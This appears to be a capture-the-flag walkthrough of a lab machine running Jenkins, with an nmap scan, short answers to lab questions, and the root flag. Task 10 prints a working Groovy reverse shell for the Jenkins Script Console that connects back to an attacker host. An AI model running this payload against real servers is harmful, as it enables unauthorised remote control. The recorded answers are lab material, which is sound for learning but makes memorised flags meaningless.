# Pennyworth

## Initial Scan

```nmap
sudo nmap -T4 -Pn -sV -sC -v 10.129.64.37 -oA Penntyworth
```

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2F8rktFwazFCLPtwk94A3w%2Fimage.png?alt=media&#x26;token=5921aa45-1780-4228-966c-b2e94b45c153" alt=""><figcaption></figcaption></figure>

## Task 1

What does the acronym CVE stand for?

Answer: Common Vulnerabilities and Exposures

## Task 2

What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

Answer: Confidentiality, Integrity, Availability

## Task 3

What is the version of the service running on port 8080?

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FXkdBKL0ZZ6d2bHnIQwLx%2Fimage.png?alt=media&#x26;token=da9811ef-f0a3-4594-981f-18ab6c333ff6" alt=""><figcaption></figcaption></figure>

Answer: Jetty 9.4.39.v20210325

## Task 4

What version of Jenkins is running on the target?

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FS2vC6TYkFZbsEXTFPc4J%2Fimage.png?alt=media&#x26;token=feeddde7-62bb-49f7-bee4-496223fca239" alt=""><figcaption></figcaption></figure>

Answer: 2.289.1

## Task 5

What type of script is accepted as input on the Jenkins Script Console?

Answer: Groovy

## Task 6

What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

Answer: cmd.exe

## Task 7

What is a different command than "ip a" we could use to display our network interfaces' information on Linux?

Answer: ifconfig

## Task 8

What switch should we use with netcat for it to use UDP transport mode?

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FrKUiz1iMVVVNkzg4r8u8%2Fimage.png?alt=media&#x26;token=a530bccc-a907-4500-9a62-31ccf35bd82f" alt=""><figcaption></figcaption></figure>

Answer: -u

## Task 9

What is the term used to describe making a target host initiate a connection back to the attacker host?

Answer: reverse shell

## Task 10

Submit Root Flag

&#x20;

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FqQRzPCEz8Y8ViDLSvZUO%2Fimage.png?alt=media&#x26;token=1f2fdae8-1589-42b5-a400-c801cb29baf5" alt=""><figcaption></figcaption></figure>

```groovy
String host="10.10.14.80";
int port=8008;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

&#x20;

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FKneg1urBXNkYTQZiOQh4%2Fimage.png?alt=media&#x26;token=3b38acc1-b1db-407d-aea9-e473b80c3527" alt=""><figcaption></figcaption></figure>

Answer: 9cdfb439c7876e703e307864c9167a15
